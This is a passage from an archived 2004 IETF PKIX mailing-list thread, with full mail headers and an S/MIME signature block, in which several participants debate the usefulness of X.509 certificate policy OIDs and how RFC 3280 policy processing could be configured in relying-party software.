supposed to be added as an extra pass after standard path-validation.
This don't bode well for the future.

Anders



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SLebqa062866; Wed, 28 Jan 2004 13:40:37 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0SLebqg062864; Wed, 28 Jan 2004 13:40:37 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from aragorn.bbn.com (aragorn.bbn.com [128.33.0.62]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SLeaic062852 for <[e-mail]>; Wed, 28 Jan 2004 13:40:36 -0800 (PST) (envelope-from [e-mail])
Received: from [128.33.244.157] (col-dhcp33-244-157.bbn.com [128.33.244.157]) by aragorn.bbn.com (8.12.7/8.12.7) with ESMTP id i0SLeRMB005980; Wed, 28 Jan 2004 16:40:28 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p06020405bc3db694269c@[128.33.244.157]>
In-Reply-To: <[e-mail]>
References: <020201c3e4c2$90d03b60$0500a8c0@arport> <p06020403bc3c20462220@[128.89.89.75]> <041c01c3e4eb$a5411820$0500a8c0@arport> <p06020409bc3c3f827415@[128.89.89.75]> <005001c3e50b$9cddac00$0500a8c0@arport> <p06020405bc3d7a1ddfed@[128.33.244.157]> <[e-mail]>
Date: Wed, 28 Jan 2004 16:40:07 -0500
To: Steve Hanna <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: Re: Setting X.509 Policy Data in IE, IIS, Outlook
Cc: [e-mail]
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang)
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Steve,

I'll add to your discussion of motivation for policy OIDs, at no 
additional charge.

In principle, one could accomplish a similar effect by mandating use 
of a different CA name for each distinct policy used by the same CA, 
and by propagating knowledge of the policies bound to the names. 
However, this is a poor alternative in that it provides no easy way 
to convey the policy info when it is replicated by multiple CAs. of 
course we don't have enough examples to know if policies will be 
replicated, or replicated with caveats, as allowed for by policy 
qualifiers, but at least one can understand why it is more attractive 
to be able to represent this info via OIDs.

Talk of "trust administrators" just confuses matters. In an 
enterprise environment security administrators, are already concerned 
about the proper configuration of firewalls, VPNS, anti-virus rule 
sets, etc. The management of trust anchors and policies for PKIs is 
just another set of security-relevant data that these folks need to 
manage.  One major attraction of SCVP is that is allows 
centralization of this management function for TAs and policy info, 
rather than having to do this on every desktop and server.

If a vendor of a product that makes use of PKI fails to provide 
appropriate management interfaces for dealing with policies, I don't 
view that as a condemnation of the facility. If users don't see how 
to use the feature, especially in light of a lack of management 
interfaces, or confusing management interfaces, that too is not an 
indication that the feature is not useful. The perception users 
develop of the complexity of a feature is greatly dependent on the 
management interfaces provided, not the intrinsic feature. Anyone who 
has had to deal with programming a VCR, and who then moved to a TiVo 
or Replay system, can attest to the truth of this observation.
Steve



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SKc9rL058775; Wed, 28 Jan 2004 12:38:09 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0SKc9vw058774; Wed, 28 Jan 2004 12:38:09 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from nwkea-mail-1.sun.com (nwkea-mail-1.sun.com [192.18.42.13]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SKc7u4058762 for <[e-mail]>; Wed, 28 Jan 2004 12:38:07 -0800 (PST) (envelope-from [e-mail])
Received: from phys-bur1-1 ([129.148.13.15]) by nwkea-mail-1.sun.com (8.12.10/8.12.9) with ESMTP id i0SKc3j4002544 for <[e-mail]>; Wed, 28 Jan 2004 12:38:03 -0800 (PST)
Received: from sun.com (dhcp-ubur02-75-161.East.Sun.COM [129.148.75.161]) by bur-mail2.east.sun.com (iPlanet Messaging Server 5.2 HotFix 1.16 (built May 14 2003)) with ESMTPA id <[e-mail]> for [e-mail]; Wed, 28 Jan 2004 15:38:03 -0500 (EST)
Date: Wed, 28 Jan 2004 15:36:23 -0500
From: Steve Hanna <[e-mail]>
Subject: Re: Setting X.509 Policy Data in IE, IIS, Outlook
To: Anders Rundgren <[e-mail]>
Cc: [e-mail]
Message-id: <[e-mail]>
MIME-version: 1.0
X-Mailer: Mozilla 4.79 [en] (WinNT; U)
Content-type: multipart/signed; boundary=------------msBB6D03F9F0562EC9838DBEB3; micalg=sha1; protocol="application/x-pkcs7-signature"
X-Accept-Language: en
References: <020201c3e4c2$90d03b60$0500a8c0@arport> <p06020403bc3c20462220@[128.89.89.75]> <041c01c3e4eb$a5411820$0500a8c0@arport> <p06020409bc3c3f827415@[128.89.89.75]> <005001c3e50b$9cddac00$0500a8c0@arport> <p06020405bc3d7a1ddfed@[128.33.244.157]> <[e-mail]> <048501c3e5d6$c23a2b60$0500a8c0@arport>
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

This is a cryptographically signed message in MIME format.

--------------msBB6D03F9F0562EC9838DBEB3
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Anders Rundgren wrote:
> I'm sorry if you only see this as "fact-free attacks".

I apologize for implying that the whole topic
was "content-free". That's wrong. There are
some good issues here (complexity, UI concerns,
etc.). A few of the posts have been insubstantial,
but I shouldn't have implied they all were.

> I don't think we will agree on this matter, it is better
> to explain why we come to different conclusions.

If we understand the differing perspectives,
we may find a mutually acceptable resolution.

> >First, let me address the implicit question
> >"Who needs certificate policies? Why bother?"
> 
> That's a perfect start!
> 
> >Some PKI users want to support multiple levels of
> >assurance within a single PKI. For example, many
> >U.S. government agencies want this.
> 
> Here I maintain that this whish may not have only merits.
> The main merits seem to be on the CA-side.
> 
> The alternative to use different PKIs have some benefits as
> well, particularly with respect to relying parties.
> To have a single trust establising mechanism, should be an
> advantage.  That this mechanism is compatible with pratically
> every PKI-enabled software there is, is another advantage.

Having a separate PKI for each certificate policy
requires duplicated infrastructure. Also, it
prevents cross-certification between organizations
with different certificate policies. This will
make it more difficult to build large PKIs.

So the merits of certificate policies are that they
allow one PKI to support multiple levels of assurance
and that organizations with different certificate
policies can cross-certify. The primary drawback
is greater complexity, I believe.

> >Now, on to the matter of describing a "compliant management
> >interface for the security policy database". Actually,
> >David Cross already did this. He explained that the
> >Windows Server 2003 IAS Server component allows administrators
> >to configure the set of allowed policy OIDs. That's
> >equivalent to the "user-initial-policy-set" described
> >in RFC 3280. Some users might also want the ability
> >to set the other flags specified in 3280 (like
> >initial-policy-mapping-inhibit), but the functionality
> >described by David is probably sufficient for most purposes.
> 
> This is neither wrong nor completely right as RFC3280-
> complient CAs have a myriad of options to select from like
> having no policy OIDs, anyPolicy OIDs and various path-validation
> input flags making it hard to go beyound the level you described
> as "sufficient for most purposes".  I don't disagree that this may
> indeed be "sufficient", but I don't think that it really matches the
> "challenge" requirements as we are talking RFC3280 subsets.

I wasn't talking about a subset of RFC 3280. RFC 3280
does not require applications to provide UI for setting
all of the parameters specified in RFC 3280. If they're
appropriate and relevant to the application, they
will be exposed. Otherwise, they probably will not be.

All of the features of certificate policy processing
per RFC 3280 (including anyPolicy and such) can be
supported by providing UI for entering a set of policy
OIDs (as described by David) and three boolean flags:
initial-policy-mapping-inhibit, initial-explicit-policy,
and initial-any-policy-inhibit. It's up to an application
developer whether they want to expose these parameters
and, if so, how (through a dialog box, a configuration
file, or whatever).

Clearly this is a "compliant management interface" for
specifying all the parameters needed for RFC 3280-compliant
policy processing. I claim that I passed the "challenge",
but I still decline the "prize". ;-)

Thanks,

Steve
--------------msBB6D03F9F0562EC9838DBEB3
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIIEAYJKoZIhvcNAQcCoIIIATCCB/0CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BeMwggKjMIICDKADAgECAgMKVAgwDQYJKoZIhvcNAQEEBQAwgZIxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhh
d3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwg
RnJlZW1haWwgUlNBIDIwMDAuOC4zMDAeFw0wMzA3MTExMTAxNTFaFw0wNDA3MTAxMTAxNTFa
MGgxDjAMBgNVBAQTBUhhbm5hMRUwEwYDVQQqEwxTdGVwaGVuIFJvc3MxGzAZBgNVBAMTElN0
ZXBoZW4gUm9zcyBIYW5uYTEiMCAGCSqGSIb3DQEJARYTc3RldmUuaGFubmFAc3VuLmNvbTCB
nzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAoxRk/abMPe7Km2EqpD2FZXzjiBGUHhIdNlIO
9W6mdCQro1xMc+sv+93UuVnIzse+XA67Tqx4g5FdoQ+PI8TQYemYSkTD9GitgU563ypu03UV
86zTJA7u9zVkNv/qL2LRKZ9BXy2Smtet+PUh3nYjMh/ZY7LQxQzmdu1Zunue+yECAwEAAaMw
MC4wHgYDVR0RBBcwFYETc3RldmUuaGFubmFAc3VuLmNvbTAMBgNVHRMBAf8EAjAAMA0GCSqG
SIb3DQEBBAUAA4GBAHbpX0TKiOFu1vxKc3nAOcUHwoci5kinboYrnjWcl37mMXXbBFntaYRM
9LxpGtHdPm7F4pAviKp8bnFzTU46OyUw3kNUAVGDeWYVQC76f0dDZdA313Tn88UZYa+N6O8W
bO8wjKA2vg+yx79WXJCFDu+TpsG/28NKPdH42w8LEOVHMIIDODCCAqGgAwIBAgIQZkVyt8x0
9c9jdkWE0C6RATANBgkqhkiG9w0BAQQFADCB0TELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdl
c3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMRowGAYDVQQKExFUaGF3dGUgQ29uc3Vs
dGluZzEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEkMCIGA1UE
AxMbVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWlsIENBMSswKQYJKoZIhvcNAQkBFhxwZXJzb25h
bC1mcmVlbWFpbEB0aGF3dGUuY29tMB4XDTAwMDgzMDAwMDAwMFoXDTA0MDgyNzIzNTk1OVow
gZIxCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUg
VG93bjEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEo
MCYGA1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDIwMDAuOC4zMDCBnzANBgkqhkiG9w0B
AQEFAAOBjQAwgYkCgYEA3jMypmPHCSVFPtJueCdngcXaiBmClw7jRCmKYzUqbXA8+tyu9+50
bzC8M5B/+TRxoKNtmPHDT6Jl2w36S/HW3WGl+YXNVZo1Gp2Sdagnrthy+boC9tewkd4c6avg
GAOofENCUFGHgzzwObSbVIoTh/+zm51JZgAtCYnslGvpoWkCAwEAAaNOMEwwKQYDVR0RBCIw
IKQeMBwxGjAYBgNVBAMTEVByaXZhdGVMYWJlbDEtMjk3MBIGA1UdEwEB/wQIMAYBAf8CAQAw
CwYDVR0PBAQDAgEGMA0GCSqGSIb3DQEBBAUAA4GBADGxS0dd+QFx5fVTbF151j2YwCYTYoEi
pxL4IpXoG0m3J3sEObr85vIk65H6vewNKjj3UFWobPcNrUwbvAP0teuiR59sogxYjTFCCRFs
sBpp0SsSskBdavl50OouJd2K5PzbDR+dAvNa28o89kTqJmmHf0iezqWf54TYyWJirQXGMYIB
9TCCAfECAQEwgZowgZIxCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQ
BgNVBAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0
ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDIwMDAuOC4zMAID
ClQIMAkGBSsOAwIaBQCggbEwGAYJKoZIhvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0B
CQUxDxcNMDQwMTI4MjAzNjIzWjAjBgkqhkiG9w0BCQQxFgQUhWH+Y6rCCez9UiV7pL6ENtUK
lpswUgYJKoZIhvcNAQkPMUUwQzAKBggqhkiG9w0DBzAOBggqhkiG9w0DAgICAIAwBwYFKw4D
AgcwDQYIKoZIhvcNAwICAUAwDQYIKoZIhvcNAwICASgwDQYJKoZIhvcNAQEBBQAEgYBjbLWz
okEARg/qYVyUK0IWtnZ9tbqYzc3IMZl1GpMHZkFJVwicKL/2/Z8bw0qbsuHP+nV5FG6mLG23
d55vVwsYvz6hLd4lR3g/RDZdOCH+wRfJgy7Afnwh6y/PRQQVh0/r+Jwy/KW+x1gNIRgsQMXS
bWGcjD1G1tnbYA/Yqnk9MA==
--------------msBB6D03F9F0562EC9838DBEB3--



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SJlHuP055000; Wed, 28 Jan 2004 11:47:17 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0SJlHO6054999; Wed, 28 Jan 2004 11:47:17 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from av7-2-sn1.fre.skanova.net (av7-2-sn1.fre.skanova.net [81.228.11.114]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SJlG59054989 for <[e-mail]>; Wed, 28 Jan 2004 11:47:16 -0800 (PST) (envelope-from [e-mail])
Received: by av7-2-sn1.fre.skanova.net (Postfix, from userid 502) id 91DBE37F0D; Wed, 28 Jan 2004 20:47:12 +0100 (CET)
Received: from smtp5.hy.skanova.net (smtp5.hy.skanova.net [195.67.199.134]) by av7-2-sn1.fre.skanova.net (Postfix) with ESMTP id 8229B37F06; Wed, 28 Jan 2004 20:47:12 +0100 (CET)
Received: from arport (t8o913p100.telia.com [213.64.26.220]) by smtp5.hy.skanova.net (8.12.10/8.12.10) with SMTP id i0SJlA7N014283; Wed, 28 Jan 2004 20:47:11 +0100 (CET)
Message-ID: <048501c3e5d6$c23a2b60$0500a8c0@arport>
From: "Anders Rundgren" <[e-mail]>
To: "Steve Hanna" <[e-mail]>
Cc: <[e-mail]>
References: <020201c3e4c2$90d03b60$0500a8c0@arport> <p06020403bc3c20462220@[128.89.89.75]> <041c01c3e4eb$a5411820$0500a8c0@arport> <p06020409bc3c3f827415@[128.89.89.75]> <005001c3e50b$9cddac00$0500a8c0@arport> <p06020405bc3d7a1ddfed@[128.33.244.157]> <[e-mail]>
Subject: Re: Setting X.509 Policy Data in IE, IIS, Outlook
Date: Wed, 28 Jan 2004 20:41:43 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Hi Steve,
I'm sorry if you only see this as "fact-free attacks".

I don't think we will agree on this matter, it is better
to explain why we come to different conclusions.

>First, let me address the implicit question
>"Who needs certificate policies? Why bother?"

That's a perfect start!

>Some PKI users want to support multiple levels of
>assurance within a single PKI. For example, many
>U.S. government agencies want this.

Here I maintain that this whish may not have only merits.
The main merits seem to be on the CA-side.

The alternative to use different PKIs have some benefits as
well, particularly with respect to relying parties.   
To have a single trust establising mechanism, should be an
advantage.  That this mechanism is compatible with pratically
every PKI-enabled software there is, is another advantage.

>To accomplish this, they put a certificate policy extension in
>each certificate indicating under which policy orpolicies it was issued.

Agreed.

>Many PKI users (CAs and relying parties) don't need this.
>They can just omit all policy-related extensions from their
>certificates and forget about configuring their relying party
>software with policy-related parameters.

Agreed.

>Now, on to the matter of describing a "compliant management
>interface for the security policy database". Actually,
>David Cross already did this. He explained that the
>Windows Server 2003 IAS Server component allows administrators
>to configure the set of allowed policy OIDs. That's
>equivalent to the "user-initial-policy-set" described
>in RFC 3280. Some users might also want the ability
>to set the other flags specified in 3280 (like
>initial-policy-mapping-inhibit), but the functionality
>described by David is probably sufficient for most purposes.

This is neither wrong nor completely right as RFC3280-
complient CAs have a myriad of options to select from like
having no policy OIDs, anyPolicy OIDs and various path-validation
input flags making it hard to go beyound the level you described
as "sufficient for most purposes".  I don't disagree that this may
indeed be "sufficient", but I don't think that it really matches the
"challenge" requirements as we are talking RFC3280 subsets.

To summarize: If your focus is hugh-but-closed PKIs as represented
by some US governments you may end-up with one answer, while
if you focus on the currently not yet up-and-running many-to-many
PKI-using communities (like B2B) where relying parties do not have
PKI experts at hand, you may end-up with another answer.

A valid question is of course is how these PKIs can ever be
interoperable.  I have no answer to that.  Gateways I guess :-)

rgds
Anders



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SHProR045456; Wed, 28 Jan 2004 09:25:53 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0SHPqaT045455; Wed, 28 Jan 2004 09:25:52 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from host13.websitesource.com (host13.websitesource.com [209.239.35.152]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SHPphw045448 for <[e-mail]>; Wed, 28 Jan 2004 09:25:52 -0800 (PST) (envelope-from [e-mail])
Received: from wchokhani (dpvc-138-88-161-20.res.east.verizon.net [138.88.161.20]) by host13.websitesource.com (8.12.10/8.12.10) with ESMTP id i0SHPqh2026850 for <[e-mail]>; Wed, 28 Jan 2004 12:25:52 -0500
From: "Santosh Chokhani" <[e-mail]>
To: <[e-mail]>
Subject: RE: Setting X.509 Policy Data in IE, IIS, Outlook
Date: Wed, 28 Jan 2004 12:25:38 -0500
Message-ID: <023d01c3e5c3$c3d53860$[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4510
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
In-Reply-To: <038601c3e5b3$bfd3eeb0$0500a8c0@arport>
Importance: Normal
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id i0SHPqhw045450
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Anders:

In order to comply with current 3280, you will not be able to store anything
with the trust store.  The application will include in the acceptable policy
set the policies from each trust anchor domain that are acceptable to the
application.

-----Original Message-----
From: Anders Rundgren [mailto:[e-mail]] 
Sent: Wednesday, January 28, 2004 10:31 AM
To: Santosh Chokhani; [e-mail]
Subject: Re: Setting X.509 Policy Data in IE, IIS, Outlook


Santosh,
Instead of going for the profound aspects of PKI, you can start at the
"newbe" level by answering some simple questions like

- How does an RP "trust admin" know what policies a CA support?

- If policy settings would be implemented in core systems like CryptoAPI,
  Java Keystore, CryptLib etc. would that not require that these trust store
  system would be revised in order to also house policy setting data?

Anders

----- Original Message ----- 
From: "Santosh Chokhani" <[e-mail]>
To: <[e-mail]>
Sent: Wednesday, January 28, 2004 12:58
Subject: RE: Setting X.509 Policy Data in IE, IIS, Outlook



Peter:

I do not if your reward is punishment or reward, if you speak in plain
American English (pardon the parochialism) or Hindi will be glad to tell you
how the application can be configured for policy processing or the
application can provide the user interface.  I also encourage you to read
Annex J of X.509 draft.

-----Original Message-----
From: [e-mail] [mailto:[e-mail]] On
Behalf Of Peter Gutmann
Sent: Tuesday, January 27, 2004 7:29 PM
To: [e-mail]; [e-mail]
Cc: [e-mail]
Subject: Re: Setting X.509 Policy Data in IE, IIS, Outlook



Stephen Kent <[e-mail]> writes:

>>Borrowing from your IPsec complaints:
>>A "compliant management interface for the security policy database" 
>>for X.509 would be fun to review.  As far as I can see, the X.509 
>>policy mechanisms are flawed to the point where it becomes technically 
>>infeasible to specify such an interface.  But I stay interested if 
>>anybody dares to challenge that statement with something tangible 
>>instead of the usual PKI mumbo-jumbo, like "there are many ways to do 
>>this".
>
>A challenge with no apparent reward to motivate a response, as usual 
>...

I hereby offer a reward of one (1) bilabial fricative to anyone who can
provide a clear technical explanation/description of a policy management
interface for X.509, to be paid in full upon delivery of said
explanation/description.

Peter.





Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SHECTH044501; Wed, 28 Jan 2004 09:14:12 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0SHEC2S044500; Wed, 28 Jan 2004 09:14:12 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from nic.lp.se (nic.lp.se [213.212.3.208]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SHEA5L044477 for <[e-mail]>; Wed, 28 Jan 2004 09:14:11 -0800 (PST) (envelope-from [e-mail])
Received: from localhost (127.0.0.1) by nic.lp.se (MX V5.3 VnHj) with ESMTP; Wed, 28 Jan 2004 18:14:07 +0100
Date: Wed, 28 Jan 2004 18:14:05 +0100 (CET)
Message-ID: <[e-mail]>
To: [e-mail]
CC: [e-mail], [e-mail]
Subject: Re: Setting X.509 Policy Data in IE, IIS, Outlook
From: Richard Levitte - VMS Whacker <[e-mail]>
In-Reply-To: <03c801c3e5b9$94ece750$0500a8c0@arport>
References: <002601c3e518$848b66d0$0500a8c0@arport> <[e-mail]> <03c801c3e5b9$94ece750$0500a8c0@arport>
X-URL: http://www.lp.se/
X-Waved: dead chicken, GNU emacs 21.3.1, Mew version 4.0.63
X-Mew: See http://www.mew.org/
X-Mailer: Mew version 4.0.63 on Emacs 21.3.1 / Mule 5.0 (SAKAKI)
MIME-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

In message <03c801c3e5b9$94ece750$0500a8c0@arport> on Wed, 28 Jan 2004 17:12:51 +0100, "Anders Rundgren" <[e-mail]> said:

anders.rundgren> >> Assuming that you added such support to the Windows
anders.rundgren> >> trust anchor installation process, I believe you
anders.rundgren> >> would run into a little problem: How is the trust
anders.rundgren> >> administrator supposed to know what policy OIDs the
anders.rundgren> >> CA uses?
anders.rundgren> 
anders.rundgren> >I'm sorry, I'm not sure I understand the question.
anders.rundgren> >Did you mean any other OID than what should be found
anders.rundgren> >in the CA certificate?
anders.rundgren> 
anders.rundgren> There are no requirements to use policy OIDs at all,
anders.rundgren> making the trust admin process rather arbitrary.
anders.rundgren> 
anders.rundgren> Regarding those CAs who use policy OIDs, is there a
anders.rundgren> MUST to also specify these at CA-level to make
anders.rundgren> path-validation work?

Hmm, it seems like there is no requirement for the trust anchor to
have any policy OID, at least if I read the path validation algorithm
in RFC3280 correctly (someone correct me if I'm wrong).

But either way, the answer to your question is the human interface.
If you want to have a trust relationship with anyone, it implicitely
requires that you talk with someone (you *do* verify fingerprints,
don't you?).  So when faced with a new CA, your administrator will
probably have to call the people at that CA and ask for information,
or visit some web site and find it there (provided it can be trusted),
or...

The thing that disturbs me in these kinds of discussions is the
apparent concept of having trust done automagically from the start (it
may work automagically after some initial work, but that's different).
I've a hard time believing that's possible (I'd be happy to be proven
wrong!), at least with current technologies.

-----
Please consider sponsoring my work on free software.
See http://www.free.lp.se/sponsoring.html for details.

-- 
Richard Levitte     | http://richard.levitte.org/ | Tunnlandsv. 3
Levitte Programming | http://www.lp.se/           | S-168 36 Bromma
T: [phone] |                             | SWEDEN
     "Price, performance, quality...  choose the two you like"



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SGbQ89041600; Wed, 28 Jan 2004 08:37:26 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0SGbQcc041599; Wed, 28 Jan 2004 08:37:26 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from nuvirtual2.avalon.net (nuvirtual2.avalon.net [216.137.72.8]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SGbPEo041589 for <[e-mail]>; Wed, 28 Jan 2004 08:37:25 -0800 (PST) (envelope-from [e-mail])
Received: from localhost (localhost [127.0.0.1]) by nuvirtual2.avalon.net (Postfix) with ESMTP id E2F1AC9EE7; Wed, 28 Jan 2004 10:37:24 -0600 (CST)
Received: from nuvirtual2.avalon.net ([127.0.0.1]) by localhost (nuvirtual2.avalon.net [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 70458-05-97; Wed, 28 Jan 2004 10:37:20 -0600 (CST)
Received: by nuvirtual2.avalon.net (Postfix, from userid 1002) id 2E9BDC9EED; Wed, 28 Jan 2004 10:21:25 -0600 (CST)
Received: by nuvirtual2.avalon.net (Postfix, from userid 1002) id 005F7CA842; Wed, 28 Jan 2004 10:16:31 -0600 (CST)
Received: from above.proper.com (above.proper.com [208.184.76.39]) by nuvirtual2.avalon.net (Postfix) with ESMTP id 2C60DCA34F for <[e-mail]>; Wed, 28 Jan 2004 10:12:45 -0600 (CST)
Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SG0MP0038335; Wed, 28 Jan 2004 08:00:22 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0SG0MIG038334; Wed, 28 Jan 2004 08:00:22 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from smtp.cs.auckland.ac.nz (smtp.cs.auckland.ac.nz [130.216.33.151]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SG0KCC038326 for <[e-mail]>; Wed, 28 Jan 2004 08:00:20 -0800 (PST) (envelope-from [e-mail])
Received: from cs.auckland.ac.nz (medusa01.cs.auckland.ac.nz [130.216.34.33]) by smtp.cs.auckland.ac.nz (Postfix) with ESMTP id 66DA134045; Thu, 29 Jan 2004 04:59:30 +1300 (NZDT)
Received: (from pgut001@localhost) by cs.auckland.ac.nz (8.11.6/8.11.6) id i0SG0GS26114; Thu, 29 Jan 2004 05:00:16 +1300
Date: Thu, 29 Jan 2004 05:00:16 +1300
Message-Id: <[e-mail]>
From: [e-mail] (Peter Gutmann)
To: [e-mail], [e-mail]
Subject: RE: Setting X.509 Policy Data in IE, IIS, Outlook
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>
X-Virus-Scanned: by amavisd-new at avalon.net
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

"Santosh Chokhani" <[e-mail]> writes:

>It is part of ISO/IEC JTC 1/SC 06 N12345 dated Nov. 14, 2002 working draft.
>David Cooper and Laura Boyer may be in better position to state the exact
>status.

Ahh, OK.  I sorta stopped following the drafts about a year after it was
supposed to have been finished (that's also why I wasn't quite sure whether
the drafts you referred to are still v4 drafts or the start of the v5 drafts).
The ITU web site doesn't help much either, with the main version (before the
flood of corrigenda also on the site) being dated 2000 but posted 2001, so the
official date for the final standard predates the working drafts I've got.

Peter.



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SGIQv1039579; Wed, 28 Jan 2004 08:18:26 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0SGIQkJ039578; Wed, 28 Jan 2004 08:18:26 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from av5-2-sn1.fre.skanova.net (av5-2-sn1.fre.skanova.net [81.228.11.112]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SGIPaF039569 for <[e-mail]>; Wed, 28 Jan 2004 08:18:25 -0800 (PST) (envelope-from [e-mail])
Received: by av5-2-sn1.fre.skanova.net (Postfix, from userid 502) id 04A8F37F40; Wed, 28 Jan 2004 17:18:20 +0100 (CET)
